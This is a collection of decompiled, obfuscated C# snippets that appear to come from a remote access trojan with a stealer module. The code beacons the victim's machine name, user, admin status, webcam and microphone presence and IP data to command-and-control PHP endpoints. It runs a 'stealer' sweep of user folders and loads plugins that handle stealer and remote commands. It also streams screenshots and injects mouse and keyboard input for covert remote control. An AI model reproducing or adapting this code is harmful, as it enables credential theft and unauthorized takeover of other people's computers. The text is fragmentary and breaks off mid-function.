Example #1
0
        public static string FindRecord(string item)
        {
            //Discarded unreachable code: IL_0002
            //IL_0003: Incompatible stack heights: 0 vs 1
            DirectoryInfo directoryInfo = new DirectoryInfo(item);

            FileInfo[]              files                   = directoryInfo.GetFiles();
            DirectoryInfo[]         directories             = directoryInfo.GetDirectories();
            InstanceClassDispatcher instanceClassDispatcher = new InstanceClassDispatcher();

            for (int i = 0; i < directories.Length; i++)
            {
                DecoratorReaderMapper decoratorReaderMapper = new DecoratorReaderMapper();
                decoratorReaderMapper["T"] = ParserFilterResolver._0001("Folder");
                decoratorReaderMapper["N"] = ParserFilterResolver._0001(directories[i].Name);
                decoratorReaderMapper["S"] = ParserFilterResolver._0001("");
                decoratorReaderMapper["M"] = ParserFilterResolver._0001(directories[i].LastWriteTimeUtc.ToString("dd.MM.yyyy HH:mm"));
                instanceClassDispatcher.Add(decoratorReaderMapper);
            }
            for (int j = 0; j < files.Length; j++)
            {
                DecoratorReaderMapper decoratorReaderMapper2 = new DecoratorReaderMapper();
                decoratorReaderMapper2["T"] = ParserFilterResolver._0001("File");
                decoratorReaderMapper2["N"] = ParserFilterResolver._0001(files[j].Name);
                decoratorReaderMapper2["S"] = ParserFilterResolver._0001(ReponseClassSpec.DisableList(files[j].Length));
                decoratorReaderMapper2["M"] = ParserFilterResolver._0001(files[j].LastWriteTimeUtc.ToString("dd.MM.yyyy HH:mm"));
                instanceClassDispatcher.Add(decoratorReaderMapper2);
            }
            return(instanceClassDispatcher.SetClass((TimeState)0, new BroadcasterError[0]));
        }
Example #2
0
        public static string ValidateRecord()
        {
            //Discarded unreachable code: IL_0002
            //IL_0003: Incompatible stack heights: 0 vs 1
            DriveInfo[]             drives = DriveInfo.GetDrives();
            InstanceClassDispatcher instanceClassDispatcher = new InstanceClassDispatcher();

            DriveInfo[] array = drives;
            foreach (DriveInfo driveInfo in array)
            {
                if (driveInfo.IsReady)
                {
                    DecoratorReaderMapper decoratorReaderMapper = new DecoratorReaderMapper();
                    decoratorReaderMapper["T"] = ParserFilterResolver._0001("Drive");
                    decoratorReaderMapper["N"] = ParserFilterResolver._0001(driveInfo.Name.Remove(2, 1));
                    decoratorReaderMapper["S"] = ParserFilterResolver._0001(ReponseClassSpec.DisableList(driveInfo.TotalSize));
                    decoratorReaderMapper["M"] = ParserFilterResolver._0001("");
                    instanceClassDispatcher.Add(decoratorReaderMapper);
                }
                else
                {
                    DecoratorReaderMapper decoratorReaderMapper2 = new DecoratorReaderMapper();
                    decoratorReaderMapper2["T"] = ParserFilterResolver._0001("Drive");
                    decoratorReaderMapper2["N"] = ParserFilterResolver._0001(driveInfo.Name.Remove(2, 1));
                    decoratorReaderMapper2["S"] = ParserFilterResolver._0001("");
                    decoratorReaderMapper2["M"] = ParserFilterResolver._0001("");
                    instanceClassDispatcher.Add(decoratorReaderMapper2);
                }
            }
            return(instanceClassDispatcher.SetClass((TimeState)0, new BroadcasterError[0]));
        }
        private static WatcherIssuer CallClass(TagTestItem first, CodeIteratorMapping reg, IdentifierClientBridge util, ConfigurationIssuer col2)
        {
            //Discarded unreachable code: IL_0002
            //IL_0003: Incompatible stack heights: 0 vs 1
            ColorMatrixFlag       colorMatrixFlag = reg?._0001() ?? ((ColorMatrixFlag)0);
            DecoratorReaderMapper obj             = (DecoratorReaderMapper)col2;
            string        text          = first._0001().ToString();
            WatcherIssuer watcherIssuer = obj.DisableRequest(text, StringComparison.Ordinal);

            if (watcherIssuer != null)
            {
                switch (colorMatrixFlag)
                {
                case (ColorMatrixFlag)1:
                    return(null);

                case (ColorMatrixFlag)2:
                    throw ContextError.CheckComposer(first, "Property with the name '{0}' already exists in the current JSON object.".ListReader(CultureInfo.InvariantCulture, text));
                }
            }
            WatcherIssuer watcherIssuer2 = new WatcherIssuer(text);

            watcherIssuer2.TestClass(util, reg);
            if (watcherIssuer == null)
            {
                col2.Add(watcherIssuer2);
            }
            else
            {
                watcherIssuer.DestroyClass(watcherIssuer2);
            }
            return(watcherIssuer2);
        }
Example #4
0
            internal void _0002()
            {
                //Discarded unreachable code: IL_0002
                //IL_0003: Incompatible stack heights: 0 vs 1
                while (!identifier)
                {
                    string[] array = ClassEvent.SearchFilter(DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList(this._0002._0002 + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(this._0002._0002)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(this._0002._0002) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(this._0002._0003))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(this._0002._0002) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(this._0002._0002) + "getdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(this._0002._0002) + "getdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("rdbuffer" + MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(this._0002._0002) + "setdata") + "=%00&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(this._0002._0002) + "setdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(this._0002._0002) + "setdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("rdbuffer" + MappingListAnnotation._ProxyEvent))))))["response"].ResetClass <string>()).Split(new string[1]
                    {
                        "~*"
                    }, StringSplitOptions.None);
                    string[] array2 = array;
                    foreach (string text in array2)
                    {
                        if (text.Length < 1)
                        {
                            continue;
                        }
                        if (text.Contains("@~"))
                        {
                            string[] array3 = text.Split(new string[1]
                            {
                                "@~"
                            }, StringSplitOptions.None);
                            switch (array3[0])
                            {
                            case "M":
                                Publisher.MapFilter(Convert.ToInt32(array3[1].Split(',')[0]) + this._0001.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + this._0001.Bounds.Y);
                                break;

                            case "RD":
                                Publisher.InsertFilter(8u, Convert.ToInt32(array3[1].Split(',')[0]) + this._0001.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + this._0001.Bounds.Y, 0, UIntPtr.Zero);
                                break;

                            case "RU":
                                Publisher.InsertFilter(16u, Convert.ToInt32(array3[1].Split(',')[0]) + this._0001.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + this._0001.Bounds.Y, 0, UIntPtr.Zero);
                                break;

                            case "LD":
                                Publisher.InsertFilter(2u, Convert.ToInt32(array3[1].Split(',')[0]) + this._0001.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + this._0001.Bounds.Y, 0, UIntPtr.Zero);
                                break;

                            case "LU":
                                Publisher.InsertFilter(4u, Convert.ToInt32(array3[1].Split(',')[0]) + this._0001.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + this._0001.Bounds.Y, 0, UIntPtr.Zero);
                                break;
                            }
                        }
                        else
                        {
                            SendKeys.SendWait(text);
                        }
                        Thread.Sleep(10);
                    }
                    Thread.Sleep(100);
                }
            }
 internal void _0001()
 {
     //Discarded unreachable code: IL_0002
     //IL_0003: Incompatible stack heights: 0 vs 1
     DispatcherInstanceExpression.CustomizeFilter(new Context().CalculateEvent(Path.GetPathRoot(Environment.SystemDirectory) + "Users\\", regclose: true, ispool: true, isres2: true, calcasset3: false, comparecfg4: true, comparecol5: true, isinstance6: true, getvalue7: true, iscont8: true, containscol9: true, istoken10: true, appendvalue11: true), "stealer", MappingListAnnotation.m_CandidateEvent, MappingListAnnotation.m_TokenizerEvent);
     GC.Collect();
     if (DecoratorReaderMapper.PatchRequest(MappingListAnnotation.m_ServiceEvent)["AD"].ResetClass <bool>())
     {
         Environment.Exit(0);
     }
 }
        public override void _0001(object reference, object ivk)
        {
            //Discarded unreachable code: IL_0002
            //IL_0003: Incompatible stack heights: 0 vs 1
            DecoratorReaderMapper decoratorReaderMapper = reference as DecoratorReaderMapper;

            if (decoratorReaderMapper != null)
            {
                ParserFilterResolver map = (ivk as ParserFilterResolver) ?? new PoolIssuer(ivk);
                decoratorReaderMapper[Name] = map;
            }
        }
 public static void CallFilter(string asset, string selection)
 {
     //Discarded unreachable code: IL_0002
     //IL_0003: Incompatible stack heights: 0 vs 1
     new Thread((ThreadStart) delegate
     {
         //Discarded unreachable code: IL_0002
         //IL_0003: Incompatible stack heights: 0 vs 1
         SortFilter(asset, selection);
         DecoratorReaderMapper decoratorReaderMapper = new DecoratorReaderMapper
         {
             ["ServerType"]   = ParserFilterResolver._0001("C#"),
             ["ServerVer"]    = ParserFilterResolver._0001(MappingListAnnotation._RegistryEvent),
             ["isMicrophone"] = ParserFilterResolver._0001((DecoratorList._0001() > 0) ? "Y" : "N"),
             ["isWebcam"]     = ParserFilterResolver._0001((new AccountInstanceExpression(WrapperIssuerImporter.serializerEvent).Count > 0) ? "Y" : "N"),
             ["isAdmin"]      = ParserFilterResolver._0001(GlobalIssuerImporter.DestroyList() ? "Y" : "N"),
             ["WinVer"]       = ParserFilterResolver._0001(ObserverEvent.VerifyList()),
             ["ACTWindow"]    = ParserFilterResolver._0001(Publisher.InitEvent()),
             ["PCName"]       = ParserFilterResolver._0001(GlobalIssuerImporter.SetList()),
             ["UserName"]     = ParserFilterResolver._0001(GlobalIssuerImporter.RemoveList()),
             ["TAG"]          = ParserFilterResolver._0001(DecoratorReaderMapper.PatchRequest(MappingListAnnotation.m_ServiceEvent)["TAG"].ResetClass <string>()),
             ["IpInfo"]       = DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList("https://ipinfo.io/json"))
         };
         while (true)
         {
             try
             {
                 decoratorReaderMapper["ACTWindow"] = ParserFilterResolver._0001(Publisher.InitEvent());
                 string text = ClassEvent.SearchFilter(DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList(asset + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(asset)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(selection))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "getdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "getdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("command" + MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "setdata") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(decoratorReaderMapper.SetClass((TimeState)0, new BroadcasterError[0])))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "setdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "setdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("usermaindata" + asset))))))["response"].ResetClass <string>());
                 if (text.Length > 1)
                 {
                     DecoratorReaderMapper decoratorReaderMapper2 = DecoratorReaderMapper.PatchRequest(text);
                     if (decoratorReaderMapper2.get_Count() > 0)
                     {
                         DecoratorEventEntry.PatchRecord(decoratorReaderMapper2["Command"].ResetClass <string>(), decoratorReaderMapper2["Data"].ResetClass <string>(), asset, selection);
                     }
                 }
                 Thread.Sleep(1000);
             }
             catch
             {
                 Thread.Sleep(10000);
             }
         }
     }).Start();
 }
        public static string[] AssetFilter(string instance, string connection)
        {
            //Discarded unreachable code: IL_0002
            //IL_0003: Incompatible stack heights: 0 vs 1
            string text  = null;
            string text2 = null;
            string text3 = instance.Remove(instance.LastIndexOf("/"), instance.Length - instance.LastIndexOf("/"));
            string text4 = connection.Remove(connection.LastIndexOf("/"), connection.Length - connection.LastIndexOf("/"));

            try
            {
                if (DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList(text3 + "/" + ClassEvent.RegisterFilter(instance) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(instance) + "password") + "=c"))["status"].ResetClass <string>() == "UP")
                {
                    text  = instance;
                    text2 = DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList(text3 + "/" + ClassEvent.RegisterFilter(instance) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(instance) + "gettoken") + "=" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(instance)) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(instance) + "uid") + "=" + ClassEvent.RegisterFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent))))["token"].ResetClass <string>();
                }
                else
                {
                    text  = connection;
                    text2 = DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList(text4 + "/" + ClassEvent.RegisterFilter(connection) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(connection) + "gettoken") + "=" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(connection)) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(connection) + "uid") + "=" + ClassEvent.RegisterFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent))))["token"].ResetClass <string>();
                }
            }
            catch
            {
                try
                {
                    if (DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList(text4 + "/" + ClassEvent.RegisterFilter(connection) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(connection) + "password") + "=c"))["status"].ResetClass <string>() == "UP")
                    {
                        text  = connection;
                        text2 = DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList(text4 + "/" + ClassEvent.RegisterFilter(connection) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(connection) + "gettoken") + "=" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(connection)) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(connection) + "uid") + "=" + ClassEvent.RegisterFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent))))["token"].ResetClass <string>();
                    }
                }
                catch
                {
                }
            }
            return(new string[2]
            {
                text,
                text2
            });
        }
        internal void SortClass(TagTestItem setup, CodeIteratorMapping cust)
        {
            //Discarded unreachable code: IL_0002
            //IL_0003: Incompatible stack heights: 0 vs 1
            ContextClientBridge.RunClient(setup, "r");
            IdentifierClientBridge identifierClientBridge = setup as IdentifierClientBridge;
            ConfigurationIssuer    configurationIssuer    = this;

            do
            {
                WatcherIssuer watcherIssuer = configurationIssuer as WatcherIssuer;
                if (watcherIssuer != null && watcherIssuer._0004() != null)
                {
                    if (configurationIssuer == this)
                    {
                        break;
                    }
                    configurationIssuer = ((ParserFilterResolver)configurationIssuer)._0001();
                }
                switch (setup._0001())
                {
                case WatcherComposer.StartArray:
                {
                    InstanceClassDispatcher instanceClassDispatcher = new InstanceClassDispatcher();
                    instanceClassDispatcher.TestClass(identifierClientBridge, cust);
                    configurationIssuer.Add(instanceClassDispatcher);
                    configurationIssuer = instanceClassDispatcher;
                    break;
                }

                case WatcherComposer.EndArray:
                    if (configurationIssuer == this)
                    {
                        return;
                    }
                    configurationIssuer = ((ParserFilterResolver)configurationIssuer)._0001();
                    break;

                case WatcherComposer.StartObject:
                {
                    DecoratorReaderMapper decoratorReaderMapper = new DecoratorReaderMapper();
                    decoratorReaderMapper.TestClass(identifierClientBridge, cust);
                    configurationIssuer.Add(decoratorReaderMapper);
                    configurationIssuer = decoratorReaderMapper;
                    break;
                }

                case WatcherComposer.EndObject:
                    if (configurationIssuer == this)
                    {
                        return;
                    }
                    configurationIssuer = ((ParserFilterResolver)configurationIssuer)._0001();
                    break;

                case WatcherComposer.StartConstructor:
                {
                    IndexerReaderMapper indexerReaderMapper = new IndexerReaderMapper(setup._0001().ToString());
                    indexerReaderMapper.TestClass(identifierClientBridge, cust);
                    configurationIssuer.Add(indexerReaderMapper);
                    configurationIssuer = indexerReaderMapper;
                    break;
                }

                case WatcherComposer.EndConstructor:
                    if (configurationIssuer == this)
                    {
                        return;
                    }
                    configurationIssuer = ((ParserFilterResolver)configurationIssuer)._0001();
                    break;

                case WatcherComposer.Integer:
                case WatcherComposer.Float:
                case WatcherComposer.String:
                case WatcherComposer.Boolean:
                case WatcherComposer.Date:
                case WatcherComposer.Bytes:
                {
                    PoolIssuer poolIssuer = new PoolIssuer(setup._0001());
                    poolIssuer.TestClass(identifierClientBridge, cust);
                    configurationIssuer.Add(poolIssuer);
                    break;
                }

                case WatcherComposer.Comment:
                    if (cust != null && cust._0001() == (XlOLEVerb)1)
                    {
                        PoolIssuer poolIssuer = PoolIssuer.LogoutRequest(setup._0001().ToString());
                        poolIssuer.TestClass(identifierClientBridge, cust);
                        configurationIssuer.Add(poolIssuer);
                    }
                    break;

                case WatcherComposer.Null:
                {
                    PoolIssuer poolIssuer = PoolIssuer.VisitRequest();
                    poolIssuer.TestClass(identifierClientBridge, cust);
                    configurationIssuer.Add(poolIssuer);
                    break;
                }

                case WatcherComposer.Undefined:
                {
                    PoolIssuer poolIssuer = PoolIssuer.ViewRequest();
                    poolIssuer.TestClass(identifierClientBridge, cust);
                    configurationIssuer.Add(poolIssuer);
                    break;
                }

                case WatcherComposer.PropertyName:
                {
                    WatcherIssuer watcherIssuer2 = CallClass(setup, cust, identifierClientBridge, configurationIssuer);
                    if (watcherIssuer2 != null)
                    {
                        configurationIssuer = watcherIssuer2;
                    }
                    else
                    {
                        setup.AssetError();
                    }
                    break;
                }

                default:
                    throw new InvalidOperationException("The JsonReader should not be on a token of type {0}.".ListReader(CultureInfo.InvariantCulture, setup._0001()));

                case WatcherComposer.None:
                    break;
                }
            }while (setup._0001());
        }
 public static string SetupFilter(string value, string connection, string pool)
 {
     //Discarded unreachable code: IL_0002
     //IL_0003: Incompatible stack heights: 0 vs 1
     return(ClassEvent.SearchFilter(DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList(connection + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(connection)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(connection) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(pool))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(connection) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(connection) + "getdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(connection) + "getdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter(value + MappingListAnnotation._ProxyEvent))))))["response"].ResetClass <string>()));
 }
Example #11
0
        private static void PrintFilter()
        {
            //Discarded unreachable code: IL_0002
            //IL_0003: Incompatible stack heights: 0 vs 1
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(defaultValue: false);
            SingletonReader.PushGlobal();
            AppDomain.CurrentDomain.UnhandledException += CountFilter;
            if (m_PolicyEvent.Length < 6 || !m_PolicyEvent.Contains(".exe"))
            {
                m_PolicyEvent = Application.ExecutablePath;
            }
            if (m_ServiceEvent == "")
            {
                queueEvent = true;
                Type[] types = Assembly.GetExecutingAssembly().GetTypes();
                foreach (Type type in types)
                {
                    if (!type.Name.Contains("BuildConfiguration"))
                    {
                        continue;
                    }
                    MethodInfo[] methods = type.GetMethods();
                    foreach (MethodInfo methodInfo in methods)
                    {
                        if (methodInfo.Name == "GetConfiguration")
                        {
                            m_ServiceEvent = methodInfo.Invoke(type.Assembly.CreateInstance(type.Name), null).ToString();
                        }
                    }
                }
            }
            m_ServiceEvent = ClassEvent.ComputeFilter(m_ServiceEvent);
            Thread.Sleep(new RepositoryEvent().PopList(5000, 10000));
            if (!ReponseClassSpec.LoginList(ClassEvent.ResetFilter(DecoratorReaderMapper.PatchRequest(m_ServiceEvent)["MUTEX"].ResetClass <string>())))
            {
                Environment.Exit(0);
                Application.Exit();
            }
            try
            {
                if (!DecoratorReaderMapper.PatchRequest(m_ServiceEvent)["AD"].ResetClass <bool>())
                {
                    MapperEvent.InvokeFilter();
                }
            }
            catch
            {
            }
            string[] array = DispatcherInstanceExpression.AssetFilter(DecoratorReaderMapper.PatchRequest(m_ServiceEvent)["H1"].ResetClass <string>(), DecoratorReaderMapper.PatchRequest(m_ServiceEvent)["H2"].ResetClass <string>());
            m_CandidateEvent = array[0];
            m_TokenizerEvent = array[1];
            if (m_TokenizerEvent == null)
            {
                Environment.FailFast("Z6zQubie8vkgP6dfdXQcc1A");
            }
            try
            {
                new Thread((ThreadStart) delegate
                {
                    //Discarded unreachable code: IL_0002
                    //IL_0003: Incompatible stack heights: 0 vs 1
                    Type[] types2          = Assembly.GetExecutingAssembly().GetTypes();
                    Type type2             = default(Type);
                    MethodInfo methodInfo2 = default(MethodInfo);
                    for (int k = 0; k < types2.Length; k++)
                    {
                        type2 = types2[k];
                        if (type2.Name.Contains("DPlugin"))
                        {
                            MethodInfo[] methods2 = type2.GetMethods();
                            for (int l = 0; l < methods2.Length; l++)
                            {
                                methodInfo2 = methods2[l];
                                switch (methodInfo2.Name)
                                {
                                case "OnLoad":
                                    try
                                    {
                                        new Thread((ThreadStart) delegate
                                        {
                                            //Discarded unreachable code: IL_0002
                                            //IL_0003: Incompatible stack heights: 0 vs 1
                                            switch (methodInfo2.GetParameters().Length)
                                            {
                                            case 0:
                                                methodInfo2.Invoke(type2.Assembly.CreateInstance(type2.Name), null);
                                                break;

                                            case 1:
                                                methodInfo2.Invoke(type2.Assembly.CreateInstance(type2.Name), new object[1]
                                                {
                                                    m_CandidateEvent
                                                });
                                                break;

                                            case 2:
                                                methodInfo2.Invoke(type2.Assembly.CreateInstance(type2.Name), new object[2]
                                                {
                                                    m_CandidateEvent,
                                                    m_TokenizerEvent
                                                });
                                                break;

                                            case 3:
                                                methodInfo2.Invoke(type2.Assembly.CreateInstance(type2.Name), new object[3]
                                                {
                                                    m_CandidateEvent,
                                                    m_TokenizerEvent,
                                                    m_PolicyEvent
                                                });
                                                break;
                                            }
                                        }).Start();
                                    }
                                    catch
                                    {
                                    }
                                    break;

                                case "OnCommand":
                                    try
                                    {
                                        DecoratorEventEntry.list.Add(type2.GetField("CommandName", BindingFlags.Static | BindingFlags.Public).GetValue(type2.Assembly.CreateInstance("CommandName")).ToString(), new object[2]
                                        {
                                            methodInfo2,
                                            type2.Assembly.CreateInstance(type2.Name)
                                        });
                                    }
                                    catch
                                    {
                                    }
                                    break;

                                case "OnUninstall":
                                    try
                                    {
                                        DecoratorEventEntry.instance.Add(new object[2]
                                        {
                                            methodInfo2,
                                            type2.Assembly.CreateInstance(type2.Name)
                                        });
                                    }
                                    catch
                                    {
                                    }
                                    break;

                                case "OnStealer":
                                    try
                                    {
                                        DecoratorEventEntry.dic.Add(new object[2]
                                        {
                                            methodInfo2,
                                            type2.Assembly.CreateInstance(type2.Name)
                                        });
                                    }
                                    catch
                                    {
                                    }
                                    break;
                                }
                            }
                        }
                    }
                }).Start();
            }
            catch
            {
            }
            if (DecoratorReaderMapper.PatchRequest(m_ServiceEvent)["AS"].ResetClass <bool>())
            {
                OrderIteratorMapping.DisableRecord();
            }
            if (DecoratorReaderMapper.PatchRequest(m_ServiceEvent)["AK"].ResetClass <bool>())
            {
                OrderIteratorMapping.VerifyRecord();
            }
            DispatcherInstanceExpression.CallFilter(m_CandidateEvent, m_TokenizerEvent);
        }
Example #12
0
        public static void ComputeEvent(string var1, int length_cont, bool wantrule, bool isvalue2, string ident3, string pol4)
        {
            //Discarded unreachable code: IL_0002
            //IL_0003: Incompatible stack heights: 0 vs 1
            if (m_System == null)
            {
                Screen screen = Screen.PrimaryScreen;
                try
                {
                    Screen[] allScreens = Screen.AllScreens;
                    foreach (Screen screen2 in allScreens)
                    {
                        if (var1 == screen2.DeviceName)
                        {
                            screen = screen2;
                            break;
                        }
                    }
                }
                catch
                {
                }
                DecoratorReaderMapper decoratorReaderMapper = new DecoratorReaderMapper();
                decoratorReaderMapper["w"] = ParserFilterResolver._0001(screen.Bounds.Width);
                decoratorReaderMapper["h"] = ParserFilterResolver._0001(screen.Bounds.Height);
                DispatcherInstanceExpression.ExcludeFilter("rdscreensize", decoratorReaderMapper.SetClass((TimeState)0, new BroadcasterError[0]), ident3, pol4);
                m_System = new Thread((ThreadStart) delegate
                {
                    //Discarded unreachable code: IL_0002
                    //IL_0003: Incompatible stack heights: 0 vs 1
                    while (!identifier)
                    {
                        DispatcherInstanceExpression.CustomizeFilter(ValClientBridge.PrepareList(ValClientBridge.PushList(ValClientBridge.IncludeList(screen), screen.Bounds.Width / length_cont, screen.Bounds.Height / length_cont)), "rdscreen", ident3, pol4);
                        Thread.Sleep(100);
                    }
                    identifier = false;
                });
                m_System.Start();
                if (wantrule || isvalue2)
                {
                    new Thread((ThreadStart) delegate
                    {
                        //Discarded unreachable code: IL_0002
                        //IL_0003: Incompatible stack heights: 0 vs 1
                        while (!identifier)
                        {
                            string[] array = ClassEvent.SearchFilter(DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList(ident3 + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(ident3)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(ident3) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(pol4))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(ident3) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(ident3) + "getdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(ident3) + "getdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("rdbuffer" + MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(ident3) + "setdata") + "=%00&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(ident3) + "setdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(ident3) + "setdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("rdbuffer" + MappingListAnnotation._ProxyEvent))))))["response"].ResetClass <string>()).Split(new string[1]
                            {
                                "~*"
                            }, StringSplitOptions.None);
                            string[] array2 = array;
                            foreach (string text in array2)
                            {
                                if (text.Length >= 1)
                                {
                                    if (text.Contains("@~"))
                                    {
                                        string[] array3 = text.Split(new string[1]
                                        {
                                            "@~"
                                        }, StringSplitOptions.None);
                                        switch (array3[0])
                                        {
                                        case "M":
                                            Publisher.MapFilter(Convert.ToInt32(array3[1].Split(',')[0]) + screen.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + screen.Bounds.Y);
                                            break;

                                        case "RD":
                                            Publisher.InsertFilter(8u, Convert.ToInt32(array3[1].Split(',')[0]) + screen.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + screen.Bounds.Y, 0, UIntPtr.Zero);
                                            break;

                                        case "RU":
                                            Publisher.InsertFilter(16u, Convert.ToInt32(array3[1].Split(',')[0]) + screen.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + screen.Bounds.Y, 0, UIntPtr.Zero);
                                            break;

                                        case "LD":
                                            Publisher.InsertFilter(2u, Convert.ToInt32(array3[1].Split(',')[0]) + screen.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + screen.Bounds.Y, 0, UIntPtr.Zero);
                                            break;

                                        case "LU":
                                            Publisher.InsertFilter(4u, Convert.ToInt32(array3[1].Split(',')[0]) + screen.Bounds.X, Convert.ToInt32(array3[1].Split(',')[1]) + screen.Bounds.Y, 0, UIntPtr.Zero);
                                            break;
                                        }
                                    }
                                    else
                                    {
                                        SendKeys.SendWait(text);
                                    }
                                    Thread.Sleep(10);
